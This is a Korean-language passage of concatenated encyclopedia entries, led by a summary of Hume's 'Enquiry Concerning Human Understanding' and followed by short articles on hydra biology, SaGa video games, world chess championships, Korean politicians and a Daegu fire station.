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인간의 이해력에 관한 탐구 내용
주장은 논리적으로 서로 이어지는 장으로 분리된 일련의 점진적 단계로 진행된다. 그의 인식론을 설명한 후 흄은 자신의 원칙을 특정 주제에 적용하는 방법을 설명한다.
탐구의 첫 번째 섹션에서 흄은 철학 전반에 대한 대략적인 소개를 제공한다. 흄에게 철학은 자연 철학과 인간 본성 철학(또는 그가 "도덕 철학"이라고 부름)의 두 가지 일반적인 부분으로 나눌 수 있다. 후자는 행동과 생각을 모두 조사한다. 그는 이 섹션에서 경고의 방법으로 미묘한 생각을 가진 철학자는 결론이 대중의 의견과 더 직관적으로 일치하는 철학자에게 유리하게 버려질 가능성이 있음을 강조한다. 그러나 그는 정확성이 철학의 공예를 포함하여 모든 종류의 예술과 공예에 도움이 된다고 주장한다.
다음으로 흄은 인상과 관념의 구분에 대해 논의한다. '인상'은 감각을 의미하고 '관념'은 기억과 상상을 의미한다. 흄에 따르면 이 둘의 차이점은 관념이 인상보다 덜 생생하다는 것이다. 예를 들어, 오렌지의 맛에 대한 아이디어는 실제로 오렌지를 먹는 느낌(또는 감각)보다 훨씬 열등하다. 경험론의 전통 안에서 글을 쓰면서 그는 인상이 모든 관념의 근원이라고 주장한다.
인간의 이해력에 관한 탐구 내용
흄은 관념의 단순한 감각의 산물일 수도 있고, 감각과 함께 작용하는 상상의 산물일 수도 있다는 점을 받아들인다. 흄에 따르면, 창의적 능력은 감각 인상에서 상상을 만들어내는 (적어도) 네 가지 정신적 조작을 사용한다. 이러한 작업은 합성 (유니콘을 만들기 위한 말의 뿔과 같이 한 아이디어를 다른 아이디어에 추가하는 것)이다. 대체 (켄타우로스를 만들기 위해 말을 탄 사람의 몸으로 사물의 한 부분을 다른 부분으로 대체); 증대 (크기가 증대된 거인의 경우와 같이); 및 감소 (크기가 감소한 릴리푸트 사람들과 마찬가지로).
그러나 흄은 자신의 설명에 한 가지 이의가 있음을 인정한다. 사고 실험에서 그는 한 가지를 제외하고 모든 파란색 음영을 경험한 사람을 상상해 보라고 요청한다. 그는 이 사람이 한 번도 경험한 적이 없음에도 불구하고 이 특정한 파란색 음영의 색을 점칠 수 있을 것이라고 예측한다. 이것은 경험적 설명에 심각한 문제를 제기하는 것으로 보이지만 흄은 이전 인상의 조합에서 파생된 새로운 아이디어를 경험할 수 있다고 말함으로써 예외적인 경우로 이를 무시한다.
인간의 이해력에 관한 탐구 내용
이 장에서 흄은 생각이 어떻게 연속적으로 일어나는 경향이 있는지 논의한다. 그는 관념 사이에 적어도 세 가지 종류의 연관성이 있다고 설명한다. 유사성, 시공간의 연속성 , 인과 관계이다. 그는 관념사이에 존재하는 다양한 종류의 연결을 설명해야 하는 보편적인 원리 가 있어야 한다고 주장한다. 그러나 그는 이 원칙이 무엇인지 즉시 보여주지 않는다.
첫 번째 부분에서는, 흄에 나와있는 방법 탐구의 목적은 대략 다음 중 하나이다 "관념의 관계" 또는 "사실의 문제"이다. 이는 분석 및 종합 명제의 구별과 유사하다. 그는 독자들에게 전자는 보여줌으로 증명되고 후자는 경험을 통해 주어진다고 말한다. 사실의 문제가 어떻게 전적으로 경험의 산물인지 설명하면서 그는 그것이 선험적 추론을 통해 도달할 수 있다는 개념을 기각한다. 흄에게 모든 결과는 그 원인을 자의적으로 따를 뿐이다. 그것들은 서로 완전히 다르다.
2부에서 흄은 경험이 세상에 대한 어떤 결론을 낳는다고 누가 정당하게 믿을 수 있는지 묻는다.
인간의 이해력에 관한 탐구 내용
"사실에 관한 우리의 모든 추론의 본질이 무엇 이냐는 질문을 받을 때, 적절한 대답은 그것들이 원인과 결과의 관계에 기초를 두고 있다는 것인 것 같다. 다시 질문할 때, 그 관계에 관한 우리의 모든 추론과 결론의 기초는 무엇인가? 경험이라는 한 단어로 대답할 수 있다. 그러나 우리가 여전히 우리의 체하는 유머를 계속해서 질문한다면, 경험에서 나온 모든 결론의 기초는 무엇인가? 이것은 더 어려운 해답과 설명이 될 수 있는 새로운 질문을 의미한다."
그는 경험의 타당성에 대한 만족스러운 논증이 실증("자연의 과정이 바뀔 수 있다는 모순을 의미하지 않기 때문에")이나 경험(순환 논증이 될 것이기 때문에) 둘 다에 기초할 수 없다는 것을 보여준다. 여기에서 그는 귀납의 문제로 알려지게 될 것을 설명하고 있다.
흄에 따르면 우리는 인간의 본성이 우리로 하여금 진지하게 받아들이도록 강요하는 습관이나 관습 때문에 경험이 세상에 대해 무엇인가 말해준다고 가정한다. 이것은 또한 관념간의 연결을 구성하는 "원칙"이기도 하다.
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"퓌론주의 또는 회의주의의 과도한 원칙을 파괴하는 가장 큰 전복은 행동, 고용 및 공동 생활의 직업이다. 이러한 원리는 학교에서 번성하고 승리할 수 있다. 불가능하지는 않더라도 그것을 논박하는 것이 참으로 어려운 곳이다. 그러나 그들이 그늘을 떠나는 순간, 그리고 우리의 열정과 감정을 작동시키는 실제 대상의 존재로 인해 우리 본성의 보다 강력한 원칙과 반대되는 위치에 놓이자마자 연기처럼 사라지고 가장 단호한 회의론자를 남긴다. 다른 필사자들과 같은 조건이다."
두 번째 부분에서 그는 믿음에 대한 설명을 제공한다. 그는 믿음과 허구의 차이점은 전자는 후자가 아닌 어떤 확신을 만들어낸다는 점이라고 설명한다.
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이 짧은 장은 개연성과 우연의 개념으로 시작한다. 그에게 '개연성'은 더 높은 확률을 의미하며, 보는 사람에게 더 높은 수준의 주관적 기대를 불러일으킨다. "우연히"라는 말은 시청자가 시청자의 경험에 따라 가능하다고 생각하는 모든 특정 이해 가능한 이벤트를 의미한다. 그러나 더 많은 경험은 이러한 동등한 기회를 가져오고 상상력이 특정 기회가 다른 기회보다 더 자주 발생한다는 것을 관찰하도록 강요한다. 상상력에 작용하는 이러한 부드러운 힘은 보는 이로 하여금 결과에 대한 강한 믿음을 갖도록 한다. 이 효과는 과거의 경험을 취하여 미래를 예측하는 관습이나 습관 의 또 다른 경우로 이해될 수 있다.
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"필요한 연결"에 의해 흄은 하나의 아이디어를 다른 아이디어에 필연적으로 연결하는 힘 또는 힘을 의미한다. 그는 모든 감각적 특성이 필연적으로 결합되어 있다는 개념을 거부한다. 그의 전임자인 버클리와 로크와 달리 흄은 의지의 의지나 충동이 의지의 힘에 대한 어떤 감각을 통해 그들이 생산하는 행동과 필연적으로 연결되도록 추론될 수 있다는 생각을 거부한다. 그는 다음과 같이 추론한다. 1. 우리가 이 힘의 본질을 안다면 심신 분할이 우리에게 완전히 신비하지 않게 보일 것이다. 2. 우리가 이 신비한 힘에 대한 즉각적인 지식을 갖고 있다면, 우리는 왜 우리가 신체의 일부(예: 손이나 혀)를 제어할 수 있고 다른 부분(예: 간 또는 마음); 3. 우리는 의지의 충동이 행동을 일으키도록 하는 힘(예: 행동의 직접적인 원인인 "근육, 신경, 동물의 영혼")에 대한 즉각적인 지식이 없다. 그는 이러한 능력이 마음에만 영향을 미치기 때문에 우리가 이러한 능력에 대해 알고 있다는 개념에 반대하는 유사한 주장을 펼친다.  그는 또한 원인이 니콜라 말브랑슈와 관련된 견해인 기회 원인론에 대해 반대한다.
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이러한 대안적인 설명을 생략하고, 그는 필요한 연결에 대한 지식의 출처 를 많은 경우에 걸쳐 특정 인상의 끊임없는 결합의 관찰에서 발생하는 것으로 식별한다. 이런 식으로 사람들은 의지의 힘에 대한 즉각적인 지식이 아니라 엄격한 관습이나 습관을 통해 필요성을 안다.
흄은 그 주제에 관한 모든 논쟁은 단지 정의에 대한 동의 부족에 근거한 주장에 불과하다고 믿다. 그는 먼저 대부분의 사건이 결정론적이지만 인간의 행동이 더 논란의 여지가 있다는 것이 분명하다는 것을 보여준다. 그러나 그는 외부 관찰자가 순수한 물리적 시스템에서 볼 수 있는 것과 동일한 규칙성을 볼 수 있기 때문에 이것들도 필연적으로 발생한다고 생각한다. 필연성과 자유의 양립가능성을 보여주기 위해 흄은 자유를 자신의 의지에 기초하여 행동할 수 있는 능력으로 정의한다. 그런 다음 그는 결정론과 자유 의지가 어떻게 양립 가능한 개념이며 윤리 또는 도덕적 삶에 나쁜 영향을 미치지 않는지 (아주 간략하게) 보여준다.
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흄은 이러한 결론이 인간만이 아니라 동물에게도 적용된다는 것을 보여줄 수 있다면 매우 강력할 것이라고 주장한다. 그는 동물이 인간이 하는 것과 같은 방식으로 인과 관계를 추론할 수 있다고 믿었다.  그는 또한 동물이 가지고 있는 이 "추론" 능력이 이성을 통해서가 아니라 오직 관습에 의한 것이라고 지적한다. 흄은 짐승과 인간이 공유하는 타고난 본능 능력, 즉 (관습을 통해) 실험적으로 추론하는 능력이 있다고 결론지었다. 그럼에도 불구하고 그는 인간과 동물이 기억력과 주의력의 차이, 추론 능력, 긴 사슬에서 추론하는 능력, 아이디어를 어느 정도 명확하게 파악하는 능력, 인간의 능력 등 여러 면에서 정신 능력이 다르다는 것을 인정한다.
흄이 다루기 위해 노력하는 다음 주제는 인간 증언의 신뢰성과 증언 이 인식론에서 차지하는 역할에 대한 것이다. 이것은 흄에게 쓸데없는 걱정이 아니었다. 결과에 따라 전체 생각은 인식론자에게 기적에 대한 생각에 대한 확신을 줄 것이다.
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그의 경험적 테제에 충실하게, 흄은 증언이 어느 정도 힘을 발휘하긴 하지만 그것이 감각의 직접적인 증거만큼 강력하지는 않다고 독자들에게 말한다. 그렇지만 그는 우리가 사람의 증언을 신뢰할 수 있는 근거를 가질 수 있는 몇 가지 이유를 제시한다. 사람들은 진실을 말하는 경향이 있고 거짓을 말하는 것을 부끄러워하기 때문이다. 말할 필요도 없이, 이러한 이유는 경험에 부합하는 정도로만 신뢰할 수 있다.
그리고 경험에 근거한 인간의 간증에 회의적인 데에는 여러 가지 이유가 있다. a) 증언이 서로 상충되거나, b) 증인의 수가 적거나, c) 화자가 성실하지 못하거나, d) 화자가 지나치게 주저하거나 대담하거나, e) 화자가 거짓말을 하려는 동기가 있는 것으로 알려진 경우, 인식론자는 화자의 주장에 회의적인 이유가 있다.
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흄은 우리에게 주어진 증언을 의심할 근거를 제공한다고 생각하는 한 가지 마지막 기준이 있다. 그것은 f) 전달되는 명제가 기적적인 경우이다. 흄은 기적을 자연의 법칙과 모순되는 모든 사건으로 이해한다. 그는 자연의 법칙은 그 배후에 압도적인 증거를 가지고 있고 모든 사람의 경험에 너무나 잘 입증되어 있기 때문에 그러한 법칙에서 벗어나는 것은 모든 증거에 직면하게 될 수밖에 없다고 주장한다.
더욱이 그는 네 가지 이유로 기적에 대한 이야기가 표면적으로 타당하지 않다고 강조한다. 첫째, 그는 역사를 통틀어 무관심한 전문가들로 이루어진 광범위한 집단에 의해 입증된 기적은 없었다고 설명한다. 둘째, 그는 인간은 경이로움을 기뻐하며 이것이 악당에게 다른 사람을 조종할 기회를 제공한다고 지적한다. 셋째, 기적을 붙들고 있는 자가 야만으로 가는 경향이 있다고 생각한다. 마지막으로, 간증은 기적에 관해서는 서로 충돌하는 경향이 있기 때문에(즉, 한 사람의 종교적 기적은 다른 사람의 기적과 모순될 수 있음) 환상과 관련된 모든 증언은 자기 비난이다.
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그럼에도 불구하고 흄은 역사가들이 사실에 대한 보고가 광범위하고 균일하다면 일반적으로 자신 있게 신뢰해야 한다고 경고한다. 그러나 그는 역사가들이 나머지 인류와 마찬가지로 사실을 해석하는 데 오류가 있다고 제안하는 것 같다. 따라서 모든 역사가가 1600년에 일식이 있었다고 주장한다면, 우리는 처음에는 그것을 자연법칙에 위배되는 것으로 순진하게 생각할지 모르지만 우리는 그것을 사실로 받아들이게 될 것이다. 그러나 모든 역사가가 엘리자베스 여왕이 장례식 후에 행복하고 건강하게 걸어다니는 것이 관찰되었다고 주장하고 그것이 그들이 죽음에서 살아났다는 의미로 해석한다면, 우리는 논쟁하기 위해 자연법에 호소할 이유가 있을 것이다.
흄은 천국과 지옥에 대한 확장된 토론을 통해 신학에 대한 인식론의 적용을 계속한다. 이 장의 정면은 흄의 의견이 아니라 흄의 익명 친구 중 한 사람의 의견을 서술하고 있는데, 그는 철학자 에피쿠로스가 상상한 연설에서 다시 한 번 의견을 제시한다. 그의 친구는 결과에서 원인을 추적하는 것은 가능하지만 이렇게 추적된 원인에서 보이지 않는 결과를 추론하는 것은 불가능하다고 주장한다. 그러므로 친구는 우리가 만물의 첫 번째 원인인 신이 있다고 가정하더라도 내세에 대해 아무것도 유추할 수 없다고 주장한다.
흄은 친구에게 이의를 제기한다. 미완성된 건물을 보면 인간이 어떤 의도를 가지고 만든 것이며 미래에 완공될 것이라고 추론할 수 없습니까? 그의 친구는 동의하지만, 우리는 다른 인간의 의도는 알 수 있지만 하나님의 마음의 내용을 아는 척 할 수는 없는 관련 비유가 있음을 나타낸다. 흄은 본질적으로 그의 친구의 추론에 설득된 것 같다.
마지막 장의 첫 번째 섹션은 다양한 회의론적 주장의 개요로 잘 구성되어 있다. 치료에는 무신론, 데카르트 회의론, "가벼운" 회의론, 경험론에 대한 합리주의적 비판의 주장이 포함된다. 흄은 심지어 가벼운 회의론도 세계에 대한 압도적인 의심으로 이어진다는 것을 보여준다. 이러한 의심은 궁극적으로 철학적으로 정당화될 수 있지만 관습이나 습관에 대한 비철학적 고수를 통해서만 싸울 수 있다. 그는 데카르트와 로크의 인식론에 대한 자신의 유보로 섹션을 끝낸다.
두 번째 섹션에서 그는 강경한 회의론을 날카롭게 비난함으로써 다시 그 주제로 돌아간다.
"왜냐하면 과도한 회의론에 대한 가장 중요하고 혼란스러운 반대는 그것이 완전한 힘과 활력을 유지하고 있는 동안에는 어떤 항구적인 재화도 얻을 수 없다는 것이다. 우리는 그러한 회의론자에게 묻기만 하면 된다. 그의 의미가 무엇인가? 그리고 그가 이 모든 흥미로운 연구를 통해 제안한 것은 무엇인가? 그는 즉시 당황하고 무엇에 대답해야 할지 모르다... 퓌론주의자는 그의 철학이 정신에 지속적인 영향을 미칠 것이라고 기대할 수 없다. 오히려 그가 인정하고자 하는 바가 있다면 모든 인간의 생명은 반드시 멸망해야 한다는 것이 그의 원칙이 보편적이고 꾸준히 우세하다는 사실을 인정해야 한다."
그는 지식의 한계를 한 번에 제시함으로써 이 책을 끝맺다. " 이러한 원칙을 믿고 도서관을 들락거릴 때 우리는 무엇을 파괴해야 하는가? 우리가 어떤 책을 손에 든다면; 예를 들어, 종교나 형이상학의; 우리는, 그 수량 또는 숫자에 관한 추상적 인 추론이 포함되어 있는가?아니오 . 사실과 실존에 관한 실험적 추론을 담고 있습니까?아니오. 그런 다음 그것을 불길에 던져라. 왜냐하면 그것은 궤변과 환상 외에는 아무것도 포함할 수 없기 때문이다. "
인간의 이해력에 관한 탐구 비판과 반박
흄이 인간 증언의 타당성을 검토할 때 나열한 기준은 현대 사회 심리학에서 의사 소통-설득 패러다임이라는 기준 아래 대략적으로 지지된다.
학습에 대한 "관습적" 관점은 여러 면에서 연합주의 심리학에 비유될 수 있다. 이러한 관점은 20세기 연구에서 심한 비판을 받아왔다. 그러나 주제에 대한 테스트는 다소 분열되었다. 고양이와 같은 특정 동물을 대상으로 한 실험 결과, 고양이는 원인과 결과에 대한 통찰력을 마음으로 파악할 수 있는 능력이 없다는 결론을 내렸다. 그러나 침팬지와 같은 일부 동물은 목표를 달성하기 위해 창의적인 행동 계획을 세울 수 있었고 따라서 단순한 관습을 초월한 인과적 통찰력을 가지고 있는 것으로 보이다.
라마나 사야히
라마나 사야히(페르시아어: رامانا سیاحی, 영어: Ramana Sayahi, 1982년 10월 4일 ~ )는 이란의 배우이다.
브랜든 메켈레
브랜든 메켈레(Brandon Mechele, 1993년 1월 28일 ~ )는 벨기에의 축구선수이다. 포지션은 수비수이다. 현재 벨기에 퍼스트 디비전 A 클뤼프 브뤼허 KV에서 뛰고 있다.
탄화 규소
탄화 규소 (SiC)는 카보런덤(/ˌkɑːrbəˈrʌndəm/)이라고도 하며, 규소와 탄소를 함유하고 있는 반도체이다. 탄화규소는 자연에서 극히 희귀한 광물 모이사나이트로 생성된다. 합성 SiC 분말은 연마재로 사용할 목적으로 1893년부터 대량 생산되었다. 탄화규소 입자는 소결을 거쳐 함께 결합되어 매우 단단한 세라믹을 형성하며, 자동차 브레이크, 자동차 클러치, 방탄복, 세라믹플레이트와 같은 높은 내구성을 요구하는 응용 분야에 널리 사용되고 있다. 실리콘 카바이드의 큰 단결정은 렐리 기법으로 팽창할 수 있으며, 합성 모이사나이트로 알려진 보석으로 절단될 수 있다.
발광 다이오드 (LED) 및 초기 라디오의 광석 감파기와 같은 탄화규소의 전자 응용은 1907년경에 처음으로 시연되었다. 실리콘 카바이드는 고온이나 고전압 또는 둘 다에서 작동하는 반도체 전자 장치에 사용된다.
장천 (1985년)
장천(1985년 7월 9일 ~)은 대한민국의 변호사다. 현재 유승민 후보 대선캠프 희망22의 대변인을 맡고 있다.
히드라 불가리스
히드라 불가리스(학명: Hydra vulgaris) 또는 민물 폴립(freshwater polyp)은 길이 10~30mm, 너비 1mm의 작은 민물 히드라류이다.
히드라 불가리스 설명
히드라는 입 밖으로 돌출된 4개에서 12개의 촉수를 가지고 있다. 히드라는 촉수를 뻗고 음식이 촉수에 닿기를 기다림으로써 먹이를 먹는다. 그리고 나서 먹이를 입으로 가져와서, 그 유기체를 섭취하고 소화시킨다. 소화되지 않는 것은 무엇이든 배출한다. 입을 통해 섭취하고 배출한다.
다른 히드라처럼, 히드라 불가리스는 원반 모양의 "발" 패드로 물체에 매달린다. 히드라는 물체의 맨 밑 부분을 잡은 손을 놓고 물살에 떠내려간다. 벨로티스는 몸을 구부리고 촉수로 표면을 잡고 "발"로 잡은 손을 놓고 몸을 뒤집는 방법으로도 움직일 수 있다.
히드라 불가리스 모델 유기체
히드라 불가리스는 많은 히드라처럼 돌보기 쉽고 최소한의 직접적인 보살핌이 필요하고 비교적 빠르게 번식하기 때문에 종종 형태변형 재생을 위한 모델 생물로 사용된다. 히드라 불가리스는 노화를 겪지 않아 생물학적으로 불멸이 된다고 알려져 있지만, 이는 논란의 여지가 있다.
히드라 불가리스 신경계
알려진 유기체 중 가장 단순한 신경계를 가지고 있는 히드라 불가리스의 신경계는 신경과학계의 관심사이며, 이러한 단순한 회로를 이해하는 것이 뇌의 더 복잡한 기능을 이해하는 선례가 될 것이라는 희망을 주고 있다. 신경계와 그에 따른 행동들은 라파엘 유스테 등에 의해 광범위하게 연구되어 왔다. 2021년 기준으로 히드라 불가리스는 뇌신경(뉴런) 자체의 신경 코드를 제외하고 신경 구조와 모든 행동 사이의 연관성이 해결된 유일한 동물이다.
히드라 불가리스 복제
히드라 불가리스는 세 가지 방법으로 번식할 수 있다: 성적인 생식, 싹트기, 그리고 재생을 통한 간접적인 번식을 한다.
성적 번식법. 히드라 불가리스는 성적으로 번식할 때, 단순한 고환, 난소 또는 둘 다 개별 몸에 생긴다. 고환에 의해 환경으로 방출된 정자는 난소 내에 있는 난자로 들어간다. 알은 끈적끈적한 외골격을 형성하고 유기체가 나타나기 전에 유리한 조건을 기다린다.
싹틔우기 번식법. 싹틔우기는 조건이 좋을 때 생긴다. 즉 적절한 수온과 충분한 음식이 주요 요인이다. 어른 히드라 불가리스는 부모 히드라의 몸에서 자랄 수 있다. 완전히 발달하면 부모에게서 떨어져 나와 생명주기를 이어가게 된다. 히드라 불가리스는 다른 방법들보다 이 방법으로 더 쉽게 더 많은 히드라를 만들기 때문에 이러한 종류의 복제를 더 자주 사용한다다.
재생산법 이것은 생존에 가깝다. 히드라 불가리스가 조각으로 쪼개질 때, 각 조각이 충분히 크면 그 조각의 크기에 비례하는 개별 히드라 불가리스의 크기로 성장한다. 이것은 불가사리와 같은 다른 동물에서도 일어난다.
Again K-가스펠
《Again K-가스펠》은 K-가스펠에 담지 못한 뒷이야기와 은혜를 나누는 CTS기독교TV의 찬양 간증 프로그램이다.
교회행전
《교회행전》은 전국 곳곳에서 하나님의 사역을 감당하고 있는 교회를 직접 찾아가, 교회의 스토리와 간증을 듣는 CTS기독교TV의 현장 토크쇼이다.
CTS두란노 성경교실
《CTS두란노 성경교실》은 목사님들과 함께 성경목차를 따라 성경을 깊이 있게 공부하며 말씀을 인격적으로 만나는 CTS기독교TV의 성경공부 프로그램이다.
이스터 로드
이스터 로드(영어: Easter Road)는 스코틀랜드 에든버러에 있는 다목적 경기장이다. 현재 주로 스코티시 프리미어십 하이버니언 FC 축구 경기에 사용된다. 경기장에는 20,421명을 수용할 수 있다.
사가 프론티어 2
《사가 프론티어 2》(SaGa Frontier 2, サガ フロンティア 2)는 일본 개발사 스퀘어가 제작한 1999년 롤플레잉 비디오 게임이다. 《사가》 시리즈의 여덟 번째 작품으로 플레이스테이션으로 제작됐다. 시리즈 총괄 기획자 카와즈 아키토시가 디렉터를 맡았으며 음악은 하마우즈 마사시가 담당했다. 일본 지역에서 1999년 4월 1일 처음 발매됐으며, 그 외 서양 지역에선 이듬해인 2000년에 출시됐다.
중세 게르만 및 앵글로색슨 문화에서 영향을 받은 가상의 중세 판타지 세계 '샌데일 (Sandail)'을 무대로 한다. 게임의 이야기는 크게 두 개로 나뉘는데, 왕국에서 추방당한 왕위계승자 구스타프 13세와 부모의 살해 뒤의 음모를 밝히려하는 청년 윌리엄 나이츠 두 명의 이야기가 번갈아가며 진행된다.
《사가 프론티어 2》는 출시 직후 대체적으로 긍정적인 호평을 받았으며, 이후 일본서 염가판이 여러 차례 발매됐다.
사가 프론티어 2 개발
《사가 프론티어 2》는 일본 잡지 〈더 플레이스테이션〉 1998년 9월호에서 처음 공개됐으며, 당시 스퀘어는 1년 전에 발매했던 《사가 프론티어》와는 전혀 다른 색다른 작품으로 연출할 것이라 예고했다. 공개 당시 출시 예정 시기는 1999년 봄이었다.
사가 프론티어 2 반응
《사가 프론티어 2》는 일본서 출시 후 2004년 12월까지 675,000장의 판매량을 기록해 상업적 성공을 거뒀다.
언리미티드 사가
《언리미티드 사가》(Unlimited Saga, アンリミテッド:サガ)는 일본 개발사 스퀘어(2003년 스퀘어 에닉스로 사명 변경)가 제작한 2002년 롤플레잉 비디오 게임이다. 《사가》 시리즈 아홉 번째 작품으로, 2002년 12월 일본서 처음 출시됐다. 유럽 지역에선 아타리 유럽, 대한민국에선 일렉트로닉 아츠가 배급을 담당했다.
7명의 플레이어 캐릭터 중 하나를 주인공으로 선택해 진행하며, '7대 경이'의 비밀을 밝히기 위한 여행이 주된 이야기이다. 전작 《사가》들의 비선형 진행 방식 및 기술 레벨 향상과 보드 게임식 탐험을 합친 게임플레이가 특징이다.
《언리미티드 사가》는 일본 지역에서 50만 장, 서양에선 13만 장의 판매량을 기록했다.
언리미티드 사가 개발
2002년 7월, 스퀘어는 《언리미티드 사가》를 처음 공개했다.
언리미티드 사가 반응
《언리미티드 사가》는 출시 당시 196,471장의 판매량을 기록해, 일본 판매량 순위에서 《포켓몬스터 루비·사파이어》의 다음인 3위를 차지했다. 그 해 말까지 판매량은 27만 장을 초과했다.
사가 스칼렛 그레이스: 진홍색 야망
《사가 스칼렛 그레이스》는 스퀘어 에닉스와 스튜디오 릴이 공동제작한 롤플레잉 비디오 게임이다. 2002년 《언리미티드 사가》 이후 이식 및 리메이크가 아닌 《사가》 시리즈 단독 작품으로서 처음 출시하는 게임이다. 본래 2016년 플레이스테이션 비타로 일본 지역에서만 처음 출시됐으며, 이후 2018년 확장판이 《사가 스칼렛 그레이스: 진홍색 야망》라는 제목으로 안드로이드, iOS, 마이크로소프트 윈도우, 닌텐도 스위치 및 플레이스테이션 4로 발매됐다. 그 외 지역에선 《진홍색 야망》판이 최초로 현지화돼 서양에선 2019년, 대한민국에선 2022년 아크 시스템 웍스가 배급해 출시됐다.
이번 작품에 복귀하는 시리즈 제작진으로 공동 디자이너 및 시나리오 작가 카와즈 아키토시, 원화가 코바야시 토모미, 작곡가 이토 켄지가 있다. 전작 《언리미티드 사가》에서 플레이어들로부터 받은 의견들을 바탕으로 게임을 디자인했으며, 《로맨싱 사가》 삼부작과 《사가 프론티어》 두 작품으로부터 게임플레이 기능들을 가져왔다. 서양판 현지화는 8-4이 담당했다.
사가 스칼렛 그레이스: 진홍색 야망 반응
일본서 발매 당시 《스칼렛 그레이스》는 65,000장의 판매량을 기록해 미디어 크리에이트의 게임 순위표에서 4위를 차지했다. 차주에선 순위표에서 14위로 하락했으며, 14,000장의 추가 판매로 누적 판매량 80,000장을 기록했다. 다음해 1월 말까지 총 판매량은 94,000장을 기록했다. 플레이스테이션 4 및 닌텐도 스위치판 《진홍색 야망》의 경우 발매 직후 20,000장이 판매됐다.
일본 게임 잡지 〈패미통〉은 캐릭터들과 열린 구조의 시나리오를 장점으로 꼽았다.
류혜주
류혜주(1999년 ~)는 대한민국의 정당인이다. 현재 유승민 후보의 희망22 대변인을 맡고 있다.
최인호 (2001년)
최인호(2001년 11월 12일~)는 대한민국의 정당인, 사회운동가다.
최인호 (2001년) 경력
2022.7~ : 제9대 관악구의회 의원
제9대 관악구의회 전반기 도시건설위원회 위원
제9대 관악구의회 전반기 윤리특별위원회 부위원장
제9대 관악구의회 제287회 예산결산특별위원회 부위원장
제9대 관악구의회 후반기 보건복지위원회 위원
제9대 관악구의회 후반기 의회운영위원회 위원
제9대 관악구의회 후반기 윤리특별위원회 위원장
백지원 (정치인)
백지원(1994년 12월 26일 ~ )은 공무원 출신으로 대한민국의 정치인이다.
1958년 세계 체스 선수권 대회
1958년 세계 체스 선수권 대회는 1958년에 열린 세계 체스 선수권 대회로, 미하일 보트빈니크와 바실리 스미슬로프 사이의 매치였다. 1958년 3월 4일부터 5월 9일까지 소비에트 연방 모스코바에서 열렸다. 스미슬로프는 1년 전 1957년 세계 체스 선수권 대회에서 보트빈니크를 꺾고 세계 챔피언이 되었기 때문에 당시 규정에 따라 보트빈니크는 1년 후 리매치를 신청할 권한이 있었다.
1958년 세계 체스 선수권 대회 결과
총 24경기를 진행하며, 12.5점을 먼저 얻는 사람이 우승한다. 12-12로 끝날 경우 디펜딩 챔피언인 스미슬로프가 승리한다.
보트빈니크가 타이틀을 다시 얻었다.
양기열
양기열(梁琪烈, 1985년 10월 24일 ~ )은 대한민국의 정치인, 사회복지사다. 현재 은평구의회 의원을 맡고 있다.
윤희진
윤희진(1992년 ~)은 대한민국의 정당인이다. 2021년부터 2022년까지 윤석열 대통령 후보 선거대책위원회 종합지원총괄본부장 청년보좌역을 맡았으며, 현재 권성동 국회의원 선임비서관을 맡고 있다.
1960년 세계 체스 선수권 대회
1960년 세계 체스 선수권 대회는 1960년에 열린 세계 체스 선수권 대회로, 미하일 보트빈니크와 미하일 탈 사이의 매치였다. 1960년 3월 15일부터 5월 7일까지 소비에트 연방 모스코바에서 열렸다.
보트빈니크는 1958년 세계 체스 선수권 대회에서 우승해 세계 챔피언이 되었고, 탈은 도전자 결정전에서 우승해 챌린저가 되었다.
1960년 세계 체스 선수권 대회 1958년 인터조널 토너먼트
인터조널 토너먼트는 SR 슬로베니아에 있는 Portorož에서 1958년 8-9월에 열렸다. 상위 6명이 도전자 결정전에 진출했다.
마지막 라운드 이전에 1위는 탈(13), 2-3위는 글리고릭과 페트로샨(12½), 4위는 벵코(12), 5-6위는 피셔와 브론스타인(11½), 7-10위는 올라프슨, 아버바흐, 사보, 파흐만(11)이었다. 마지막 라운드에서 피셔는 글리고릭을 상대로 흑을 잡았고, 브론스타인, 올라프슨, 사보는 상대적으로 약한 상대와 경기했다. 피셔는 이겨야겠다고 판단하고 시실리안 디펜스의 나이도프, 고테보르그 바리에이션을 두었다. 이후 중요한 상황에서 피셔는 브론스타인이 지고 있는 것을 발견하고 무승부를 수락해 도전자 결정전에 진출했다. 11점에 있는 선수들 중 올라프슨만이 이겨 피셔와 동점으로 도전자 결정전에 진출했다.
1960년 세계 체스 선수권 대회 1959년 도전자 결정전
1959년 도전자 결정전은 유고슬라비아의 블레드, 자그레브, 베오그라드에서 열렸다. 이전 도전자 결정전의 1, 2위인 스미슬로프와 케레스는 이 토너먼트에 자동으로 진출해 인터조널 토너먼트의 상위 6명과 경기했다. 미하일 탈이 우승해 1960년 매치에 진출했다.
이 토너먼트의 우승자와 준우승자인 탈과 케레스는 하위 선수들에게 많은 점수를 뽑아냈다. 상위 4명 간의 점수만 따진다면, 이 4명의 점수는 비슷하나 (탈 5½/12, 케레스 6½/12, 페트로샨과 스미슬로프 6/12) 탈과 케레스가 하위 4명에게 많은 점수를 뽑아냈다. 탈은 14½/16를 기록하고 피셔를 상대로 4경기 모두를 이겼다.
미래의 세계 챔피언 보비 피셔는 당시 16살이었다. 그는 망누스 칼센이 2007년 도전자 결정전에 진출할 때까지 역대 최연소 참가자였다.
1960년 세계 체스 선수권 대회 1960년 챔피언십 매치
총 24경기를 진행하며, 12.5점을 먼저 얻는 사람이 우승한다. 12-12로 끝날 경우 디펜딩 챔피언인 보트빈니크가 승리한다.
탈이 도전자 결정전에서 케레스에게 3패를 하는 등 최고의 선수들과의 결과가 좋지 않아 보트빈니크가 유리하다고 평가받았으나 탈이 4점 차이로 큰 승리를 거두었다.
게임 6은 탈이 21수에 투기적인 나이트 희생을 해 특히 유명하다. 관객들이 너무 흥분해 경기는 소음으로 인해 옆 방으로 옮겨졌다.
대구강북소방서
대구강북소방서(大邱江北消防署, Daegu Gangbuk Fire station)는 대구광역시 북구의 강북지역과 군위군을 관할하는 대구광역시 소방안전본부 산하의 소방서이다.
개청 이전에는 칠곡지구는 대구서부소방서 관할이고 노곡동과 무태조야동은 대구북부소방서 관할이었으며, 2022년 12월 30일 시행된 조례에서 이들 지역을 관할하는 것으로 확정되었으나, 업무가 개시되지 않아 2023년 4월 1일 소방서장을 발령해 본격적인 개청 준비에 나서고, 4월 중순 업무를 개시한다. 2023년 7월 1일부터는 군위군 역시 관할하게 되었다. 대구광역시에서는 장기적으로 군위군은 군위소방서로 분리했다.
대구강북소방서 관할 구역 및 관할 센터
